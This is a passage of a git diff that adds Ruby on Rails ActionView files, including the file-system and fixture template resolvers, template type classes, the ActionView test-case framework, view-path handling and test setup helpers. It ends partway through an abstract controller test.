+ end
+
+ def query(path, details, formats)
+ query = build_query(path, details)
+
+ template_paths = find_template_paths query
+
+ template_paths.map { |template|
+ handler, format, variant = extract_handler_and_format_and_variant(template, formats)
+ contents = File.binread(template)
+
+ Template.new(contents, File.expand_path(template), handler,
+ :virtual_path => path.virtual,
+ :format => format,
+ :variant => variant,
+ :updated_at => mtime(template)
+ )
+ }
+ end
+
+ if RUBY_VERSION >= '2.2.0'
+ def find_template_paths(query)
+ Dir[query].reject { |filename|
+ File.directory?(filename) ||
+ # deals with case-insensitive file systems.
+ !File.fnmatch(query, filename, File::FNM_EXTGLOB)
+ }
+ end
+ else
+ def find_template_paths(query)
+ # deals with case-insensitive file systems.
+ sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] }
+
+ Dir[query].reject { |filename|
+ File.directory?(filename) ||
+ !sanitizer[File.dirname(filename)].include?(filename)
+ }
+ end
+ end
+
+ # Helper for building query glob string based on resolver's pattern.
+ def build_query(path, details)
+ query = @pattern.dup
+
+ prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
+ query.gsub!(/\:prefix(\/)?/, prefix)
+
+ partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
+ query.gsub!(/\:action/, partial)
+
+ details.each do |ext, variants|
+ query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}")
+ end
+
+ File.expand_path(query, @path)
+ end
+
+ def escape_entry(entry)
+ entry.gsub(/[*?{}\[\]]/, '\\\\\\&')
+ end
+
+ # Returns the file mtime from the filesystem.
+ def mtime(p)
+ File.mtime(p)
+ end
+
+ # Extract handler, formats and variant from path. If a format cannot be found neither
+ # from the path, or the handler, we should return the array of formats given
+ # to the resolver.
+ def extract_handler_and_format_and_variant(path, default_formats)
+ pieces = File.basename(path).split(".")
+ pieces.shift
+
+ extension = pieces.pop
+ unless extension
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ The file #{path} did not specify a template handler. The default is
+ currently ERB, but will change to RAW in the future.
+ MSG
+ end
+
+ handler = Template.handler_for_extension(extension)
+ format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
+ format &&= Template::Types[format]
+
+ [handler, format, variant]
+ end
+ end
+
+ # A resolver that loads files from the filesystem. It allows setting your own
+ # resolving pattern. Such pattern can be a glob string supported by some variables.
+ #
+ # ==== Examples
+ #
+ # Default pattern, loads views the same way as previous versions of rails, eg. when you're
+ # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
+ #
+ # FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
+ #
+ # This one allows you to keep files with different formats in separate subdirectories,
+ # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
+ # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
+ #
+ # FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
+ #
+ # If you don't specify a pattern then the default will be used.
+ #
+ # In order to use any of the customized resolvers above in a Rails application, you just need
+ # to configure ActionController::Base.view_paths in an initializer, for example:
+ #
+ # ActionController::Base.view_paths = FileSystemResolver.new(
+ # Rails.root.join("app/views"),
+ # ":prefix{/:locale}/:action{.:formats,}{+:variants,}{.:handlers,}"
+ # )
+ #
+ # ==== Pattern format and variables
+ #
+ # Pattern has to be a valid glob string, and it allows you to use the
+ # following variables:
+ #
+ # * <tt>:prefix</tt> - usually the controller path
+ # * <tt>:action</tt> - name of the action
+ # * <tt>:locale</tt> - possible locale versions
+ # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
+ # * <tt>:variants</tt> - possible request variants (for example phone, tablet...)
+ # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
+ #
+ class FileSystemResolver < PathResolver
+ def initialize(path, pattern=nil)
+ raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
+ super(pattern)
+ @path = File.expand_path(path)
+ end
+
+ def to_s
+ @path.to_s
+ end
+ alias :to_path :to_s
+
+ def eql?(resolver)
+ self.class.equal?(resolver.class) && to_path == resolver.to_path
+ end
+ alias :== :eql?
+ end
+
+ # An Optimized resolver for Rails' most common case.
+ class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
+ def build_query(path, details)
+ query = escape_entry(File.join(@path, path))
+
+ exts = EXTENSIONS.map do |ext, prefix|
+ "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+ end.join
+
+ query + exts
+ end
+ end
+
+ # The same as FileSystemResolver but does not allow templates to store
+ # a virtual path since it is invalid for such resolvers.
+ class FallbackFileSystemResolver < FileSystemResolver #:nodoc:
+ def self.instances
+ [new(""), new("/")]
+ end
+
+ def decorate(*)
+ super.each { |t| t.virtual_path = nil }
+ end
+ end
+end
diff --git a/actionview/lib/action_view/template/text.rb b/actionview/lib/action_view/template/text.rb
new file mode 100644
index 0000000000..04f5b8d17a
--- /dev/null
+++ b/actionview/lib/action_view/template/text.rb
@@ -0,0 +1,34 @@
+module ActionView #:nodoc:
+ # = Action View Text Template
+ class Template
+ class Text #:nodoc:
+ attr_accessor :type
+
+ def initialize(string, type = nil)
+ @string = string.to_s
+ @type = Types[type] || type if type
+ @type ||= Types[:text]
+ end
+
+ def identifier
+ 'text template'
+ end
+
+ def inspect
+ 'text template'
+ end
+
+ def to_str
+ @string
+ end
+
+ def render(*args)
+ to_str
+ end
+
+ def formats
+ [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
new file mode 100644
index 0000000000..be45fcf742
--- /dev/null
+++ b/actionview/lib/action_view/template/types.rb
@@ -0,0 +1,57 @@
+require 'set'
+require 'active_support/core_ext/module/attribute_accessors'
+
+module ActionView
+ class Template
+ class Types
+ class Type
+ cattr_accessor :types
+ self.types = Set.new
+
+ def self.register(*t)
+ types.merge(t.map(&:to_s))
+ end
+
+ register :html, :text, :js, :css, :xml, :json
+
+ def self.[](type)
+ return type if type.is_a?(self)
+
+ if type.is_a?(Symbol) || types.member?(type.to_s)
+ new(type)
+ end
+ end
+
+ attr_reader :symbol
+
+ def initialize(symbol)
+ @symbol = symbol.to_sym
+ end
+
+ delegate :to_s, :to_sym, :to => :symbol
+ alias to_str to_s
+
+ def ref
+ to_sym || to_s
+ end
+
+ def ==(type)
+ return false if type.blank?
+ symbol.to_sym == type.to_sym
+ end
+ end
+
+ cattr_accessor :type_klass
+
+ def self.delegate_to(klass)
+ self.type_klass = klass
+ end
+
+ delegate_to Type
+
+ def self.[](type)
+ type_klass[type]
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/test_case.rb b/actionview/lib/action_view/test_case.rb
new file mode 100644
index 0000000000..812b011bd7
--- /dev/null
+++ b/actionview/lib/action_view/test_case.rb
@@ -0,0 +1,278 @@
+require 'active_support/core_ext/module/remove_method'
+require 'action_controller'
+require 'action_controller/test_case'
+require 'action_view'
+
+require 'rails-dom-testing'
+
+module ActionView
+ # = Action View Test Case
+ class TestCase < ActiveSupport::TestCase
+ class TestController < ActionController::Base
+ include ActionDispatch::TestProcess
+
+ attr_accessor :request, :response, :params
+
+ class << self
+ attr_writer :controller_path
+ end
+
+ def controller_path=(path)
+ self.class.controller_path=(path)
+ end
+
+ def initialize
+ super
+ self.class.controller_path = ""
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+
+ @request.env.delete('PATH_INFO')
+ @params = {}
+ end
+ end
+
+ module Behavior
+ extend ActiveSupport::Concern
+
+ include ActionDispatch::Assertions, ActionDispatch::TestProcess
+ include Rails::Dom::Testing::Assertions
+ include ActionController::TemplateAssertions
+ include ActionView::Context
+
+ include ActionDispatch::Routing::PolymorphicRoutes
+
+ include AbstractController::Helpers
+ include ActionView::Helpers
+ include ActionView::RecordIdentifier
+ include ActionView::RoutingUrlFor
+
+ include ActiveSupport::Testing::ConstantLookup
+
+ delegate :lookup_context, :to => :controller
+ attr_accessor :controller, :output_buffer, :rendered
+
+ module ClassMethods
+ def tests(helper_class)
+ case helper_class
+ when String, Symbol
+ self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
+ when Module
+ self.helper_class = helper_class
+ end
+ end
+
+ def determine_default_helper_class(name)
+ determine_constant_from_test_name(name) do |constant|
+ Module === constant && !(Class === constant)
+ end
+ end
+
+ def helper_method(*methods)
+ # Almost a duplicate from ActionController::Helpers
+ methods.flatten.each do |method|
+ _helpers.module_eval <<-end_eval
+ def #{method}(*args, &block) # def current_user(*args, &block)
+ _test_case.send(%(#{method}), *args, &block) # _test_case.send(%(current_user), *args, &block)
+ end # end
+ end_eval
+ end
+ end
+
+ attr_writer :helper_class
+
+ def helper_class
+ @helper_class ||= determine_default_helper_class(name)
+ end
+
+ def new(*)
+ include_helper_modules!
+ super
+ end
+
+ private
+
+ def include_helper_modules!
+ helper(helper_class) if helper_class
+ include _helpers
+ end
+
+ end
+
+ def setup_with_controller
+ @controller = ActionView::TestCase::TestController.new
+ @request = @controller.request
+ # empty string ensures buffer has UTF-8 encoding as
+ # new without arguments returns ASCII-8BIT encoded buffer like String#new
+ @output_buffer = ActiveSupport::SafeBuffer.new ''
+ @rendered = ''
+
+ make_test_case_available_to_view!
+ say_no_to_protect_against_forgery!
+ end
+
+ def config
+ @controller.config if @controller.respond_to?(:config)
+ end
+
+ def render(options = {}, local_assigns = {}, &block)
+ view.assign(view_assigns)
+ @rendered << output = view.render(options, local_assigns, &block)
+ output
+ end
+
+ def rendered_views
+ @_rendered_views ||= RenderedViewsCollection.new
+ end
+
+ # Need to experiment if this priority is the best one: rendered => output_buffer
+ class RenderedViewsCollection
+ def initialize
+ @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
+ end
+
+ def add(view, locals)
+ @rendered_views[view] ||= []
+ @rendered_views[view] << locals
+ end
+
+ def locals_for(view)
+ @rendered_views[view]
+ end
+
+ def rendered_views
+ @rendered_views.keys
+ end
+
+ def view_rendered?(view, expected_locals)
+ locals_for(view).any? do |actual_locals|
+ expected_locals.all? {|key, value| value == actual_locals[key] }
+ end
+ end
+ end
+
+ included do
+ setup :setup_with_controller
+ end
+
+ private
+
+ # Need to experiment if this priority is the best one: rendered => output_buffer
+ def document_root_element
+ Nokogiri::HTML::Document.parse(@rendered.blank? ? @output_buffer : @rendered).root
+ end
+
+ def say_no_to_protect_against_forgery!
+ _helpers.module_eval do
+ remove_possible_method :protect_against_forgery?
+ def protect_against_forgery?
+ false
+ end
+ end
+ end
+
+ def make_test_case_available_to_view!
+ test_case_instance = self
+ _helpers.module_eval do
+ unless private_method_defined?(:_test_case)
+ define_method(:_test_case) { test_case_instance }
+ private :_test_case
+ end
+ end
+ end
+
+ module Locals
+ attr_accessor :rendered_views
+
+ def render(options = {}, local_assigns = {})
+ case options
+ when Hash
+ if block_given?
+ rendered_views.add options[:layout], options[:locals]
+ elsif options.key?(:partial)
+ rendered_views.add options[:partial], options[:locals]
+ end
+ else
+ rendered_views.add options, local_assigns
+ end
+
+ super
+ end
+ end
+
+ # The instance of ActionView::Base that is used by +render+.
+ def view
+ @view ||= begin
+ view = @controller.view_context
+ view.singleton_class.send :include, _helpers
+ view.extend(Locals)
+ view.rendered_views = self.rendered_views
+ view.output_buffer = self.output_buffer
+ view
+ end
+ end
+
+ alias_method :_view, :view
+
+ INTERNAL_IVARS = [
+ :@NAME,
+ :@failures,
+ :@assertions,
+ :@__io__,
+ :@_assertion_wrapped,
+ :@_assertions,
+ :@_result,
+ :@_routes,
+ :@controller,
+ :@_layouts,
+ :@_files,
+ :@_rendered_views,
+ :@method_name,
+ :@output_buffer,
+ :@_partials,
+ :@passed,
+ :@rendered,
+ :@request,
+ :@routes,
+ :@tagged_logger,
+ :@_templates,
+ :@options,
+ :@test_passed,
+ :@view,
+ :@view_context_class,
+ :@_subscribers,
+ :@html_document
+ ]
+
+ def _user_defined_ivars
+ instance_variables - INTERNAL_IVARS
+ end
+
+ # Returns a Hash of instance variables and their values, as defined by
+ # the user in the test case, which are then assigned to the view being
+ # rendered. This is generally intended for internal use and extension
+ # frameworks.
+ def view_assigns
+ Hash[_user_defined_ivars.map do |ivar|
+ [ivar[1..-1].to_sym, instance_variable_get(ivar)]
+ end]
+ end
+
+ def _routes
+ @controller._routes if @controller.respond_to?(:_routes)
+ end
+
+ def method_missing(selector, *args)
+ if @controller.respond_to?(:_routes) &&
+ ( @controller._routes.named_routes.route_defined?(selector) ||
+ @controller._routes.mounted_helpers.method_defined?(selector) )
+ @controller.__send__(selector, *args)
+ else
+ super
+ end
+ end
+ end
+
+ include Behavior
+ end
+end
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
new file mode 100644
index 0000000000..dfb7d463b4
--- /dev/null
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -0,0 +1,54 @@
+require 'action_view/template/resolver'
+
+module ActionView #:nodoc:
+ # Use FixtureResolver in your tests to simulate the presence of files on the
+ # file system. This is used internally by Rails' own test suite, and is
+ # useful for testing extensions that have no way of knowing what the file
+ # system will look like at runtime.
+ class FixtureResolver < PathResolver
+ attr_reader :hash
+
+ def initialize(hash = {}, pattern=nil)
+ super(pattern)
+ @hash = hash
+ end
+
+ def to_s
+ @hash.keys.join(', ')
+ end
+
+ private
+
+ def query(path, exts, formats)
+ query = ""
+ EXTENSIONS.each_key do |ext|
+ query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
+ end
+ query = /^(#{Regexp.escape(path)})#{query}$/
+
+ templates = []
+ @hash.each do |_path, array|
+ source, updated_at = array
+ next unless _path =~ query
+ handler, format, variant = extract_handler_and_format_and_variant(_path, formats)
+ templates << Template.new(source, _path, handler,
+ :virtual_path => path.virtual,
+ :format => format,
+ :variant => variant,
+ :updated_at => updated_at
+ )
+ end
+
+ templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
+ end
+ end
+
+ class NullResolver < PathResolver
+ def query(path, exts, formats)
+ handler, format, variant = extract_handler_and_format_and_variant(path, formats)
+ [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format, :variant => variant)]
+ end
+ end
+
+end
+
diff --git a/actionview/lib/action_view/version.rb b/actionview/lib/action_view/version.rb
new file mode 100644
index 0000000000..f55d3fdaef
--- /dev/null
+++ b/actionview/lib/action_view/version.rb
@@ -0,0 +1,8 @@
+require_relative 'gem_version'
+
+module ActionView
+ # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
+ def self.version
+ gem_version
+ end
+end
diff --git a/actionview/lib/action_view/view_paths.rb b/actionview/lib/action_view/view_paths.rb
new file mode 100644
index 0000000000..2e203a7590
--- /dev/null
+++ b/actionview/lib/action_view/view_paths.rb
@@ -0,0 +1,111 @@
+require 'action_view/base'
+
+module ActionView
+ module ViewPaths
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :_view_paths
+ self._view_paths = ActionView::PathSet.new
+ self._view_paths.freeze
+ end
+
+ delegate :template_exists?, :view_paths, :formats, :formats=,
+ :locale, :locale=, :to => :lookup_context
+
+ module ClassMethods
+ def _prefixes # :nodoc:
+ @_prefixes ||= begin
+ deprecated_prefixes = handle_deprecated_parent_prefixes
+ if deprecated_prefixes
+ deprecated_prefixes
+ else
+ return local_prefixes if superclass.abstract?
+
+ local_prefixes + superclass._prefixes
+ end
+ end
+ end
+
+ private
+
+ # Override this method in your controller if you want to change paths prefixes for finding views.
+ # Prefixes defined here will still be added to parents' <tt>._prefixes</tt>.
+ def local_prefixes
+ [controller_path]
+ end
+
+ def handle_deprecated_parent_prefixes # TODO: remove in 4.3/5.0.
+ return unless respond_to?(:parent_prefixes)
+
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Overriding `ActionController::Base::parent_prefixes` is deprecated,
+ override `.local_prefixes` instead.
+ MSG
+
+ local_prefixes + parent_prefixes
+ end
+ end
+
+ # The prefixes used in render "foo" shortcuts.
+ def _prefixes # :nodoc:
+ self.class._prefixes
+ end
+
+ # LookupContext is the object responsible to hold all information required to lookup
+ # templates, i.e. view paths and details. Check ActionView::LookupContext for more
+ # information.
+ def lookup_context
+ @_lookup_context ||=
+ ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
+ end
+
+ def details_for_lookup
+ { }
+ end
+
+ def append_view_path(path)
+ lookup_context.view_paths.push(*path)
+ end
+
+ def prepend_view_path(path)
+ lookup_context.view_paths.unshift(*path)
+ end
+
+ module ClassMethods
+ # Append a path to the list of view paths for this controller.
+ #
+ # ==== Parameters
+ # * <tt>path</tt> - If a String is provided, it gets converted into
+ # the default view path. You may also provide a custom view path
+ # (see ActionView::PathSet for more information)
+ def append_view_path(path)
+ self._view_paths = view_paths + Array(path)
+ end
+
+ # Prepend a path to the list of view paths for this controller.
+ #
+ # ==== Parameters
+ # * <tt>path</tt> - If a String is provided, it gets converted into
+ # the default view path. You may also provide a custom view path
+ # (see ActionView::PathSet for more information)
+ def prepend_view_path(path)
+ self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
+ end
+
+ # A list of all of the default view paths for this controller.
+ def view_paths
+ _view_paths
+ end
+
+ # Set the view paths.
+ #
+ # ==== Parameters
+ # * <tt>paths</tt> - If a PathSet is provided, use that;
+ # otherwise, process the parameter into a PathSet.
+ def view_paths=(paths)
+ self._view_paths = ActionView::PathSet.new(Array(paths))
+ end
+ end
+ end
+end
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
new file mode 100644
index 0000000000..4aa56f60f7
--- /dev/null
+++ b/actionview/test/abstract_unit.rb
@@ -0,0 +1,345 @@
+require File.expand_path('../../../load_paths', __FILE__)
+
+$:.unshift(File.dirname(__FILE__) + '/lib')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers')
+
+ENV['TMPDIR'] = File.join(File.dirname(__FILE__), 'tmp')
+
+require 'active_support/core_ext/kernel/reporting'
+
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+ Encoding.default_internal = "UTF-8"
+ Encoding.default_external = "UTF-8"
+end
+
+require 'active_support/testing/autorun'
+require 'action_controller'
+require 'action_view'
+require 'action_view/testing/resolvers'
+require 'active_support/dependencies'
+require 'active_model'
+require 'active_record'
+
+require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+
+module Rails
+ class << self
+ def env
+ @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "test")
+ end
+ end
+end
+
+ActiveSupport::Dependencies.hook!
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Register danish language for testing
+I18n.backend.store_translations 'da', {}
+I18n.backend.store_translations 'pt-BR', {}
+ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
+
+FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
+FIXTURES = Pathname.new(FIXTURE_LOAD_PATH)
+
+module RackTestUtils
+ def body_to_string(body)
+ if body.respond_to?(:each)
+ str = ""
+ body.each {|s| str << s }
+ str
+ else
+ body
+ end
+ end
+ extend self
+end
+
+module RenderERBUtils
+ def view
+ @view ||= begin
+ path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::PathSet.new([path])
+ ActionView::Base.new(view_paths)
+ end
+ end
+
+ def render_erb(string)
+ @virtual_path = nil
+
+ template = ActionView::Template.new(
+ string.strip,
+ "test template",
+ ActionView::Template::Handlers::ERB,
+ {})
+
+ template.render(self, {}).strip
+ end
+end
+
+SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
+
+module ActionDispatch
+ module SharedRoutes
+ def before_setup
+ @routes = SharedTestRoutes
+ super
+ end
+ end
+
+ # Hold off drawing routes until all the possible controller classes
+ # have been loaded.
+ module DrawOnce
+ class << self
+ attr_accessor :drew
+ end
+ self.drew = false
+
+ def before_setup
+ super
+ return if DrawOnce.drew
+
+ SharedTestRoutes.draw do
+ get ':controller(/:action)'
+ end
+
+ ActionDispatch::IntegrationTest.app.routes.draw do
+ get ':controller(/:action)'
+ end
+
+ DrawOnce.drew = true
+ end
+ end
+end
+
+module ActiveSupport
+ class TestCase
+ include ActionDispatch::DrawOnce
+ end
+end
+
+class RoutedRackApp
+ attr_reader :routes
+
+ def initialize(routes, &blk)
+ @routes = routes
+ @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+ end
+
+ def call(env)
+ @stack.call(env)
+ end
+end
+
+class BasicController
+ attr_accessor :request
+
+ def config
+ @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config).tap do |config|
+ # VIEW TODO: View tests should not require a controller
+ public_dir = File.expand_path("../fixtures/public", __FILE__)
+ config.assets_dir = public_dir
+ config.javascripts_dir = "#{public_dir}/javascripts"
+ config.stylesheets_dir = "#{public_dir}/stylesheets"
+ config.assets = ActiveSupport::InheritableOptions.new({ :prefix => "assets" })
+ config
+ end
+ end
+end
+
+class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
+ include ActionDispatch::SharedRoutes
+
+ def self.build_app(routes = nil)
+ RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
+ middleware.use "ActionDispatch::ShowExceptions", ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+ middleware.use "ActionDispatch::DebugExceptions"
+ middleware.use "ActionDispatch::Callbacks"
+ middleware.use "ActionDispatch::ParamsParser"
+ middleware.use "ActionDispatch::Cookies"
+ middleware.use "ActionDispatch::Flash"
+ middleware.use "Rack::Head"
+ yield(middleware) if block_given?
+ end
+ end
+
+ self.app = build_app
+
+ # Stub Rails dispatcher so it does not get controller references and
+ # simply return the controller#action as Rack::Body.
+ class StubDispatcher < ::ActionDispatch::Routing::RouteSet::Dispatcher
+ protected
+ def controller_reference(controller_param)
+ controller_param
+ end
+
+ def dispatch(controller, action, env)
+ [200, {'Content-Type' => 'text/html'}, ["#{controller}##{action}"]]
+ end
+ end
+
+ def self.stub_controllers
+ old_dispatcher = ActionDispatch::Routing::RouteSet::Dispatcher
+ ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+ ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, StubDispatcher }
+ yield ActionDispatch::Routing::RouteSet.new
+ ensure
+ ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+ ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, old_dispatcher }
+ end
+
+ def with_routing(&block)
+ temporary_routes = ActionDispatch::Routing::RouteSet.new
+ old_app, self.class.app = self.class.app, self.class.build_app(temporary_routes)
+ old_routes = SharedTestRoutes
+ silence_warnings { Object.const_set(:SharedTestRoutes, temporary_routes) }
+
+ yield temporary_routes
+ ensure
+ self.class.app = old_app
+ silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
+ end
+
+ def with_autoload_path(path)
+ path = File.join(File.dirname(__FILE__), "fixtures", path)
+ if ActiveSupport::Dependencies.autoload_paths.include?(path)
+ yield
+ else
+ begin
+ ActiveSupport::Dependencies.autoload_paths << path
+ yield
+ ensure
+ ActiveSupport::Dependencies.autoload_paths.reject! {|p| p == path}
+ ActiveSupport::Dependencies.clear
+ end
+ end
+ end
+end
+
+# Temporary base class
+class Rack::TestCase < ActionDispatch::IntegrationTest
+ def self.testing(klass = nil)
+ if klass
+ @testing = "/#{klass.name.underscore}".sub!(/_controller$/, '')
+ else
+ @testing
+ end
+ end
+
+ def get(thing, *args)
+ if thing.is_a?(Symbol)
+ super("#{self.class.testing}/#{thing}", *args)
+ else
+ super
+ end
+ end
+
+ def assert_body(body)
+ assert_equal body, Array(response.body).join
+ end
+
+ def assert_status(code)
+ assert_equal code, response.status
+ end
+
+ def assert_response(body, status = 200, headers = {})
+ assert_body body
+ assert_status status
+ headers.each do |header, value|
+ assert_header header, value
+ end
+ end
+
+ def assert_content_type(type)
+ assert_equal type, response.headers["Content-Type"]
+ end
+
+ def assert_header(name, value)
+ assert_equal value, response.headers[name]
+ end
+end
+
+ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+
+module ActionController
+ class Base
+ # This stub emulates the Railtie including the URL helpers from a Rails application
+ include SharedTestRoutes.url_helpers
+ include SharedTestRoutes.mounted_helpers
+
+ self.view_paths = FIXTURE_LOAD_PATH
+
+ def self.test_routes(&block)
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw(&block)
+ include routes.url_helpers
+ end
+ end
+
+ class TestCase
+ include ActionDispatch::TestProcess
+ include ActionDispatch::SharedRoutes
+ end
+end
+
+module ActionView
+ class TestCase
+ # Must repeat the setup because AV::TestCase is a duplication
+ # of AC::TestCase
+ include ActionDispatch::SharedRoutes
+ end
+end
+
+class Workshop
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ attr_accessor :id
+
+ def initialize(id)
+ @id = id
+ end
+
+ def persisted?
+ id.present?
+ end
+
+ def to_s
+ id.to_s
+ end
+end
+
+module ActionDispatch
+ class DebugExceptions
+ private
+ remove_method :stderr_logger
+ # Silence logger
+ def stderr_logger
+ nil
+ end
+ end
+end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/actionview/test/actionpack/abstract/abstract_controller_test.rb b/actionview/test/actionpack/abstract/abstract_controller_test.rb
new file mode 100644
index 0000000000..e653b12d32
--- /dev/null
+++ b/actionview/test/actionpack/abstract/abstract_controller_test.rb
@@ -0,0 +1,310 @@
+require 'abstract_unit'
+require 'set'
+
+module AbstractController
+ module Testing
+
+ # Test basic dispatching.
+ # ====
+ # * Call process
+ # * Test that the response_body is set correctly
+ class SimpleController < AbstractController::Base
+ end
+
+ class Me < SimpleController
+ def index
+ self.response_body = "Hello world"
+ "Something else"
+ end
+ end
+
+ class TestBasic < ActiveSupport::TestCase
+ test "dispatching works" do
+ controller = Me.new
+ controller.process(:index)
+ assert_equal "Hello world", controller.response_body
+ end
+ end
+
+ # Test Render mixin
+ # ====
+ class RenderingController < AbstractController::Base
+ include AbstractController::Rendering
+ include ActionView::Rendering
+
+ def _prefixes
+ []
+ end
+
+ def render(options = {})
+ if options.is_a?(String)
+ options = {:_template_name => options}
+ end
+ super
+ end
+
+ append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
+ end
+
+ class Me2 < RenderingController
+ def index
+ render "index.erb"
+ end
+
+ def index_to_string
+ self.response_body = render_to_string "index"
+ end
+
+ def action_with_ivars
+ @my_ivar = "Hello"
+ render "action_with_ivars.erb"
+ end
+
+ def naked_render
+ render
+ end
+
+ def rendering_to_body
+ self.response_body = render_to_body :template => "naked_render"
+ end
+
+ def rendering_to_string
+ self.response_body = render_to_string :template => "naked_render"
+ end
+ end
+
+ class TestRenderingController < ActiveSupport::TestCase
+ def setup
+ @controller = Me2.new
+ end
+
+ test "rendering templates works" do
+ @controller.process(:index)
+ assert_equal "Hello from index.erb", @controller.response_body
+ end
+
+ test "render_to_string works with a String as an argument" do
+ @controller.process(:index_to_string)
+ assert_equal "Hello from index.erb", @controller.response_body
+ end
+
+ test "rendering passes ivars to the view" do
+ @controller.process(:action_with_ivars)
+ assert_equal "Hello from index_with_ivars.erb", @controller.response_body
+ end
+
+ test "rendering with no template name" do
+ @controller.process(:naked_render)
+ assert_equal "Hello from naked_render.erb", @controller.response_body
+ end
+
+ test "rendering to a rack body" do
+ @controller.process(:rendering_to_body)
+ assert_equal "Hello from naked_render.erb", @controller.response_body
+ end
+
+ test "rendering to a string" do
+ @controller.process(:rendering_to_string)
+ assert_equal "Hello from naked_render.erb", @controller.response_body
+ end
+ end
+
+ # Test rendering with prefixes
+ # ====
+ # * self._prefix is used when defined
+ class PrefixedViews < RenderingController
+ private
+ def self.prefix
+ name.underscore
+ end
+
+ def _prefixes
+ [self.class.prefix]
+ end
+ end
+
+ class Me3 < PrefixedViews
+ def index
+ render
+ end
+
+ def formatted
+ self.formats = [:html]
+ render
+ end
+ end
+
+ class TestPrefixedViews < ActiveSupport::TestCase
+ def setup
+ @controller = Me3.new
+ end
+
+ test "templates are located inside their 'prefix' folder" do
+ @controller.process(:index)
+ assert_equal "Hello from me3/index.erb", @controller.response_body
+ end
+
+ test "templates included their format" do
+ @controller.process(:formatted)
+ assert_equal "Hello from me3/formatted.html.erb", @controller.response_body
+ end
+ end
+
+ class OverridingLocalPrefixes < AbstractController::Base
+ include AbstractController::Rendering
+ include ActionView::Rendering
+ append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
+
+ def index
+ render
+ end
+
+ def self.local_prefixes
+ # this would usually return "abstract_controller/testing/overriding_local_prefixes"
+ super + ["abstract_controller/testing/me3"]
+ end
+
+ class Inheriting < self
+ end
+ end
+
+ class OverridingLocalPrefixesTest < ActiveSupport::TestCase # TODO: remove me in 5.0/4.3.
+ test "overriding .local_prefixes adds prefix" do
